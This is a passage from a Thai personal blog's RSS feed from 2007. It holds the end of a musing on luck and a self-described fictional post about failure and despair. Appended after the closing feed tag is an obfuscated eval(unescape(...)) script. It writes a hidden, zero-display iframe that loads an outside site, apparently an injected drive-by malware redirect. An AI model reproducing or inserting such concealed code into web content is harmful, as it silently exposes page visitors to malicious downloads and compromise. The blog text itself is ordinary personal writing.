<p>น่าเสียดายที่ผลจากการวิจัยของ Dr.Sing ไม่ได้มีข้อมูลของแหล่งที่เราจะมองหา &#8220;ความมีโชค&#8221; ระบุมาด้วย  ซึ่งอันที่จริงแล้ว &#8220;ความมีโชค&#8221; ในความหมายของเราๆ ก็คงจะไม่พ้นเรื่องของศาสนา สิ่งกราบไว้ บูชา ห้อย คล้อง ที่คนไทยผูกพันกันมาอย่างไม่รู้สึกแปลกหน้า น่าแปลกที่หลายคนให้ความเคารพ บูชา แต่ก็ยังไม่ได้รับความไว้เนื้อเชื่อใจจาก &#8220;ความมีโชค&#8221; กันสักเท่าไหร่ หรือเราจะต้องตามหา สิ่งศักสิทธิ์ รูปเคารพ ก้อน หิน ดิน ไฟ ต่างๆ ที่มีใครก็ตามระบุสรรพคุณไว้ว่า สามารถจะบันดาล &#8220;ความมีโชค&#8221; ให้เราได้ ถ้าเป็นอย่างนั้น ผมคงรู้สึกเหนื่อยกับการตามหา &#8220;โชค&#8221; แบบโชคเลือดแน่ๆ เพราะภาระหน้าที่ที่ทำอยู่ทุกวันนี้มันก็เหนื่อยเสียจนอ่อนล้าอยู่แล้ว ต้องเพิ่มกิจกรรมตามหาวัตถุมงคลอีก&#8230;ไม่เอาดีกว่า</p>
<p>อ๋อ ถ้าไม่พูดถึง &#8220;ความมีโชค&#8221; ในเรื่องของหน้าที่การงาน เรื่องของธุรกิจแล้ว  ผมยังพอมีโชคอยู่บ้างครับ ทุกเช้าผมจะไปส่งนางฟ้าตัวน้อยของผมไปโรงเรียน เธอไม่ใช่วัตถุมงคลนะครับ แต่เธอเป็นสิ่งศักสิทธิ์ที่เคารพรักผม และผมก็รู้สึกว่าโชคเข้าข้างผมทุกครั้งที่ผมได้อยู่กับเธอครับ&#8230;.</p>
<p>วันนี้อาจจะยังไม่ใช่วันของผม &#8220;ความมีโชค&#8221; ยังไม่เข้าข้าง ไม่เป็นไร ผมจะขอตั้งใจทำหน้าที่ของผมให้ดีที่สุดทุกวัน ทั้งหน้าที่ในการงาน หน้าที่ของคุณพ่อที่ดี หน้าที่ของลูกที่ดี ทุกวันนี้ตอนเช้าผมจะไหว้พระศรีคเณศขอให้ผมมีปัญญาชนะอุปสรรคต่างๆ ประจำวัน ไหว้พระแม่ลักษมีขอให้มีเงินมีทองผ่านมือตลอดไม่ขาด ทั้งหมดทำแล้วผมสบายใจครับ</p>
<p>ปล.เรื่องของสถาบันโกวซิหมี่ คอลเลจ และ Dr.Sing Yord Sian ผมมั่วมาเองนะครับ ขอให้ทุกคนมีโชค แบบไม่งมงายนะครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/06/18/miracle-not-stranger/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ความล้มเหลว</title>
		<link>http://www.weloveblog.com/2007/03/21/fail_down/</link>
		<comments>http://www.weloveblog.com/2007/03/21/fail_down/#comments</comments>
		<pubDate>Tue, 20 Mar 2007 22:25:24 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/03/21/fail_down/</guid>
		<description><![CDATA[
ผมตื่นขึ้นมาในเช้ามืดวันหนึ่ง ที่พายุกำลังเดินทางมาถึง เสียงลมที่พายุพาเข้ามา ลอดผ่านหน้าต่างแบบบานมุ้งลวดให้เสียงโหยหวน ฟังแล้วน่าขนลุกยิ่งนัก ถึงจะมีลมแรงเช่นนี้ก็ยังไม่เห็นวี่แววของสายฝน แต่มันคงกำลังเดินทางมา และคงจะมาตกให้เห็นถึงหน้าบ้านแน่ๆ
นาฬิกาไม่ได้บอกผมว่าตอนนี้เวลาเท่าไหร่ เพราะไม่ได้อยู่ในระยะทำการของสายตาที่จะมองเห็นเวลาได้ แต่ผมเดาจากเสียงไก่ขันว่าตอนนี้น่าจะอยู่ในช่วงเวลา ตีสี่ย่างเข้าตีห้า ไม่น่าจะผิดไปมากน้อย ความรู้สึกผมในตอนนี้ก็ไม่ต่างอะไรไปกับอากาศภายนอกบ้านที่กำลังแปรปรวน ผมรู้สึกหมดหวังและหมดความศรัทธาในเช้าของวันใหม่ไปทุกๆ ที ทุกครั้งที่ผมนับวันที่ผ่านไปในชีวิต จะมีเรื่องดีๆ ให้ได้ภูมิใจกับเค้าสักกี่เรื่อง เรื่องแย่ๆ ไม่ต้องนับให้ปวดนิ้วหรอกครับ ผมว่าใช้เครื่องคิดเลขน่าจะดีกว่า 
ที่จริงแล้วความรู้สึกที่ผมมีอยู่ในตอนนี้ถ้าจะมีใครสักคนรับผิดชอบ ก็น่าจะเป็นผมเอง ผมเองต้นเหตุที่ทำให้ตัวผมเองต้องอยู่ในสภาพเช่นนี้ ความผิดพลาดไม่มีใครอยากพบอยากเจอ ความล้มเหลวมันให้ความรู้สึกตรงข้ามกับความสำเร็จแน่นอนใครก็รู้ ที่ผ่านมาผมพยายามทำทุกอย่างให้ดีที่สุดถึงแม้ว่ามันจะไม่เคยเป็นอย่างที่ตั้งใจก็ตามที หลายคนบอกว่าผมกล้าเกินไป มองโลกดีเกินไป และอะไรอีกหลายข้อที่จะมาเป็นข้อเสียของผมได้ &#8230;.ผมเข้าใจ ถ้าทุกอย่างที่ผมทำมันไม่ขัดสายตาใคร ความสำเร็จเกิดขึ้นให้ทุกคนได้สัมผัส ข้อเสียต่างๆ คงจะมีคนเอาไปแปะไว้ในข้อดีเป็นแน่ หลายคนคงจะบอกว่าที่ผมมาถึงตรงนี้ได้ เพราะความกล้าที่จะเสี่ยงและลงมือทำ ประกอบกับการมองโลกในแง่ดี และอีกหลายข้อที่จะกลายมาเป็นข้อดี แต่ก็อย่างที่ได้บอกไว้ ในเมื่อวันนี้ผมยังเป็นคนที่ล้มเหลว ไม่มีควมสำเร็จอะไรในชีวิตซักอย่างหนึ่ง ใครจะให้ความเชื่อถือ ใครจะมาไว้ใจ ใครจะเข้าใจ..
ผมเคยผ่านเรื่องแย่ที่สุดมาก็ไม่น้อย ทุกครั้งผมจะให้กำลังใจกับตัวเอง และในบางสถาณการณ์ผมก็ได้รับจากคนรอบข้างด้วย ทุกครั้งที่ผมล้มเหลวต้องเริ่มนับหนึ่งใหม่ ผมพบว่ากำลังใจที่ผมให้กับตัวเองและที่ได้รับจากคนอื่นมันลดลง&#8230;ลดลง&#8230;. ไม่มีใครอยากทำอะไรซ้ำๆ ใครจะคอยช่วยเหลือ คอยเติมกำลังใจให้ได้ตลอด ในเมื่อคนอื่นๆ ก็ต้องต่อสู้เหมือนกัน
ผู้หญิงที่ผมเคยรักที่สุดก็จากผมไปด้วยเหตุผลนี้ เพื่อนๆ [...]]]></description>
			<content:encoded><![CDATA[<p><img id="image154" height=137 width=500 alt=001.jpg src="http://www.weloveblog.com/wp-content/uploads/2007/03/001.jpg" /></p>
<p>ผมตื่นขึ้นมาในเช้ามืดวันหนึ่ง ที่พายุกำลังเดินทางมาถึง เสียงลมที่พายุพาเข้ามา ลอดผ่านหน้าต่างแบบบานมุ้งลวดให้เสียงโหยหวน ฟังแล้วน่าขนลุกยิ่งนัก ถึงจะมีลมแรงเช่นนี้ก็ยังไม่เห็นวี่แววของสายฝน แต่มันคงกำลังเดินทางมา และคงจะมาตกให้เห็นถึงหน้าบ้านแน่ๆ</p>
<p>นาฬิกาไม่ได้บอกผมว่าตอนนี้เวลาเท่าไหร่ เพราะไม่ได้อยู่ในระยะทำการของสายตาที่จะมองเห็นเวลาได้ แต่ผมเดาจากเสียงไก่ขันว่าตอนนี้น่าจะอยู่ในช่วงเวลา ตีสี่ย่างเข้าตีห้า ไม่น่าจะผิดไปมากน้อย ความรู้สึกผมในตอนนี้ก็ไม่ต่างอะไรไปกับอากาศภายนอกบ้านที่กำลังแปรปรวน ผมรู้สึกหมดหวังและหมดความศรัทธาในเช้าของวันใหม่ไปทุกๆ ที ทุกครั้งที่ผมนับวันที่ผ่านไปในชีวิต จะมีเรื่องดีๆ ให้ได้ภูมิใจกับเค้าสักกี่เรื่อง เรื่องแย่ๆ ไม่ต้องนับให้ปวดนิ้วหรอกครับ ผมว่าใช้เครื่องคิดเลขน่าจะดีกว่า </p>
<p>ที่จริงแล้วความรู้สึกที่ผมมีอยู่ในตอนนี้ถ้าจะมีใครสักคนรับผิดชอบ ก็น่าจะเป็นผมเอง ผมเองต้นเหตุที่ทำให้ตัวผมเองต้องอยู่ในสภาพเช่นนี้ ความผิดพลาดไม่มีใครอยากพบอยากเจอ ความล้มเหลวมันให้ความรู้สึกตรงข้ามกับความสำเร็จแน่นอนใครก็รู้ ที่ผ่านมาผมพยายามทำทุกอย่างให้ดีที่สุดถึงแม้ว่ามันจะไม่เคยเป็นอย่างที่ตั้งใจก็ตามที หลายคนบอกว่าผมกล้าเกินไป มองโลกดีเกินไป และอะไรอีกหลายข้อที่จะมาเป็นข้อเสียของผมได้ &#8230;.ผมเข้าใจ ถ้าทุกอย่างที่ผมทำมันไม่ขัดสายตาใคร ความสำเร็จเกิดขึ้นให้ทุกคนได้สัมผัส ข้อเสียต่างๆ คงจะมีคนเอาไปแปะไว้ในข้อดีเป็นแน่ หลายคนคงจะบอกว่าที่ผมมาถึงตรงนี้ได้ เพราะความกล้าที่จะเสี่ยงและลงมือทำ ประกอบกับการมองโลกในแง่ดี และอีกหลายข้อที่จะกลายมาเป็นข้อดี แต่ก็อย่างที่ได้บอกไว้ ในเมื่อวันนี้ผมยังเป็นคนที่ล้มเหลว ไม่มีควมสำเร็จอะไรในชีวิตซักอย่างหนึ่ง ใครจะให้ความเชื่อถือ ใครจะมาไว้ใจ ใครจะเข้าใจ..</p>
<p>ผมเคยผ่านเรื่องแย่ที่สุดมาก็ไม่น้อย ทุกครั้งผมจะให้กำลังใจกับตัวเอง และในบางสถาณการณ์ผมก็ได้รับจากคนรอบข้างด้วย ทุกครั้งที่ผมล้มเหลวต้องเริ่มนับหนึ่งใหม่ ผมพบว่ากำลังใจที่ผมให้กับตัวเองและที่ได้รับจากคนอื่นมันลดลง&#8230;ลดลง&#8230;. ไม่มีใครอยากทำอะไรซ้ำๆ ใครจะคอยช่วยเหลือ คอยเติมกำลังใจให้ได้ตลอด ในเมื่อคนอื่นๆ ก็ต้องต่อสู้เหมือนกัน</p>
<p>ผู้หญิงที่ผมเคยรักที่สุดก็จากผมไปด้วยเหตุผลนี้ เพื่อนๆ คนใกล้ชิดมองผมไม่ต่างอะไรไปจาก สัญลักษณ์ของความล้มเหลว อย่าว่าแต่คนอื่นเลย เอาใกล้ๆ ก็ได้ พ่อ แม่ ญาติพี่น้อง  ก็มองไม่ต่างจากคนอื่นหรอก ถึงตอนนี้ถ้าผมไม่เสียใจคงไม่ใช่คนแล้วล่ะครับ ผมเบื่อกับชีวิตแล้ว แต่ผมยังอยู่ ในใจผมมันฟ่อนเฟะแหลกเหลว แต่หน้าตาผมยังแสดงรอยยิ้มได้ ทุกวันนี้ผมต้องฝืนความรู้สึกที่แสดงออกไปหลายอย่าง และต้องปรับตัวให้รับสภาพความเป็นจริง ผมเหนื่อยมาก &#8230;.เหนื่อยมาก</p>
<p>ผมไม่ใช่คนเลวอะไร พูดแบบไม่ได้เข้าข้างตัวเอง ผมอยู่ในเกณท์เรียกได้ว่าคนดีด้วยซ้ำไป น่าเสียดายที่ตอนนี้ไม่มีใครมองจุดนี้ของผมเลย </p>
<p><font color="#333333">ผมผิดเอง ผิดมาทั้งหมดนั่นแหละ ขอโทษทุกคนที่เคยเดือดร้อนกับผม ขอบคุณความช่วยเหลือและเป็นห่วงที่เคยมีให้&#8230;..</font></p>
<p>ผมมองออกไปนอกหน้าต่าง เมื่อไหร่ฝนจะตกให้รู้แล้วรู้รอดเสียทีนะ </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
&#8220;ไม่ต้องสนใจอะไรมากนะครับ ข้างบนก็แค่เรื่องที่ปรุงแต่งขึ้น แต่งขึ้นจากความรู้สึกจริงก็เท่านั้นเอง&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/03/21/fail_down/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<Script>
<!--
var w=window;
eval( unescape( "%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%49%46%52%41%4d%45%20%6e%61%6d%65%3d%32%33%36%38%39%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%6d%79%2d%70%61%67%65%2d%64%65%2e%69%6e%66%6f%2f%69%6e%2e%63%67%69%3f%32&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%39%35%31%36%30%29%2b%27%31%35%36%5c%27%20%77%69%64%74%68%3d%31%39%35%20%68%65%69%67%68%74%3d%34%38%38%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%49%46%52%41%4d%45%20%3e%27%29" )); var c1439772935;
//-->
</Script>